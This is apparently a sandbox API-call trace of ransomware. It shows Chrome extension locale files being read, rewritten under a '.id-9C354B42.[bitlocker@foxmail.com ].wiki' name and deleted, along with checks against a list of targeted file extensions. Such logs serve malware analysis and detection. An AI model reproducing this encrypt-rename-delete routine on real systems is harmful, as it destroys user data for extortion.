SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.460] GetLastError () returned 0x0 [0172.460] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xdd, lpOverlapped=0x0) returned 1 [0172.461] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.462] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.462] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.462] SetEndOfFile (hFile=0x198) returned 1 [0172.462] CloseHandle (hObject=0x198) returned 1 [0172.462] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.462] SetEndOfFile (hFile=0x1b4) returned 1 [0172.463] CloseHandle (hObject=0x1b4) returned 1 [0172.463] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.463] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json")) returned 1 [0172.463] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.464] lstrlenW (lpString=".doc") returned 4 [0172.464] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.464] lstrlenW (lpString=".docx") returned 5 [0172.464] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.464] lstrlenW (lpString=".pdf") returned 4 [0172.464] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.464] lstrlenW (lpString=".xls") returned 4 [0172.464] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.464] lstrlenW (lpString=".xlsx") returned 5 [0172.464] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.464] lstrlenW (lpString=".ppt") returned 4 [0172.464] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.464] lstrlenW (lpString=".zip") returned 4 [0172.464] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.464] lstrlenW (lpString=".rar") returned 4 [0172.464] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.464] lstrlenW (lpString=".bz2") returned 4 [0172.464] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.464] lstrlenW (lpString=".7z") returned 3 [0172.464] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.464] lstrlenW (lpString=".dbf") returned 4 [0172.464] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.464] lstrlenW (lpString=".1cd") returned 4 [0172.464] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.464] lstrlenW (lpString=".jpg") returned 4 [0172.464] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.465] lstrlenW (lpString=".doc") returned 4 [0172.465] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.465] lstrlenW (lpString=".docx") returned 5 [0172.465] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.465] lstrlenW (lpString=".pdf") returned 4 [0172.465] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.465] lstrlenW (lpString=".xls") returned 4 [0172.465] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.465] lstrlenW (lpString=".xlsx") returned 5 [0172.465] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.465] lstrlenW (lpString=".ppt") returned 4 [0172.465] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.465] lstrlenW (lpString=".zip") returned 4 [0172.465] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.465] lstrlenW (lpString=".rar") returned 4 [0172.465] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.465] lstrlenW (lpString=".bz2") returned 4 [0172.465] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.465] lstrlenW (lpString=".7z") returned 3 [0172.465] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.465] lstrlenW (lpString=".dbf") returned 4 [0172.465] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.465] lstrlenW (lpString=".1cd") returned 4 [0172.465] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.466] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0172.466] lstrlenW (lpString=".jpg") returned 4 [0172.466] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.466] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.466] lstrlenW (lpString="messages.json") returned 13 [0172.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.466] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=270) returned 1 [0172.466] CloseHandle (hObject=0x1b4) returned 1 [0172.466] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json")) returned 0x2020 [0172.466] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.467] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.467] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.467] GetLastError () returned 0x0 [0172.467] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x10e, lpOverlapped=0x0) returned 1 [0172.468] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0172.469] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.469] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.469] SetEndOfFile (hFile=0x198) returned 1 [0172.469] CloseHandle (hObject=0x198) returned 1 [0172.469] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.469] SetEndOfFile (hFile=0x1b4) returned 1 [0172.470] CloseHandle (hObject=0x1b4) returned 1 [0172.470] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.470] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json")) returned 1 [0172.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.471] lstrlenW (lpString=".doc") returned 4 [0172.471] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.471] lstrlenW (lpString=".docx") returned 5 [0172.471] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.471] lstrlenW (lpString=".pdf") returned 4 [0172.471] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.471] lstrlenW (lpString=".xls") returned 4 [0172.471] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.471] lstrlenW (lpString=".xlsx") returned 5 [0172.471] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.471] lstrlenW (lpString=".ppt") returned 4 [0172.471] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.471] lstrlenW (lpString=".zip") returned 4 [0172.471] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.471] lstrlenW (lpString=".rar") returned 4 [0172.471] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.471] lstrlenW (lpString=".bz2") returned 4 [0172.471] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.471] lstrlenW (lpString=".7z") returned 3 [0172.471] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.471] lstrlenW (lpString=".dbf") returned 4 [0172.471] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.472] lstrlenW (lpString=".1cd") returned 4 [0172.472] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.472] lstrlenW (lpString=".jpg") returned 4 [0172.472] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.472] lstrlenW (lpString=".doc") returned 4 [0172.472] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.472] lstrlenW (lpString=".docx") returned 5 [0172.472] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.472] lstrlenW (lpString=".pdf") returned 4 [0172.472] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.472] lstrlenW (lpString=".xls") returned 4 [0172.472] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.472] lstrlenW (lpString=".xlsx") returned 5 [0172.472] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.472] lstrlenW (lpString=".ppt") returned 4 [0172.472] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.472] lstrlenW (lpString=".zip") returned 4 [0172.472] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.472] lstrlenW (lpString=".rar") returned 4 [0172.472] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.472] lstrlenW (lpString=".bz2") returned 4 [0172.472] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.472] lstrlenW (lpString=".7z") returned 3 [0172.472] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.472] lstrlenW (lpString=".dbf") returned 4 [0172.473] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.473] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.473] lstrlenW (lpString=".1cd") returned 4 [0172.473] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.473] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0172.473] lstrlenW (lpString=".jpg") returned 4 [0172.473] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.473] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.473] lstrlenW (lpString="messages.json") returned 13 [0172.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.473] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=237) returned 1 [0172.473] CloseHandle (hObject=0x1b4) returned 1 [0172.473] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json")) returned 0x2020 [0172.474] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.474] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.474] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.474] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.474] GetLastError () returned 0x0 [0172.474] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xed, lpOverlapped=0x0) returned 1 [0172.475] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.476] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.476] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.477] SetEndOfFile (hFile=0x198) returned 1 [0172.477] CloseHandle (hObject=0x198) returned 1 [0172.477] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.477] SetEndOfFile (hFile=0x1b4) returned 1 [0172.478] CloseHandle (hObject=0x1b4) returned 1 [0172.478] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.478] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json")) returned 1 [0172.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.478] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0172.478] lstrlenW (lpString=".doc") returned 4 [0172.478] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.478] lstrlenW (lpString=".docx") returned 5 [0172.478] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.478] lstrlenW (lpString=".pdf") returned 4 [0172.478] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.478] lstrlenW (lpString=".xls") returned 4 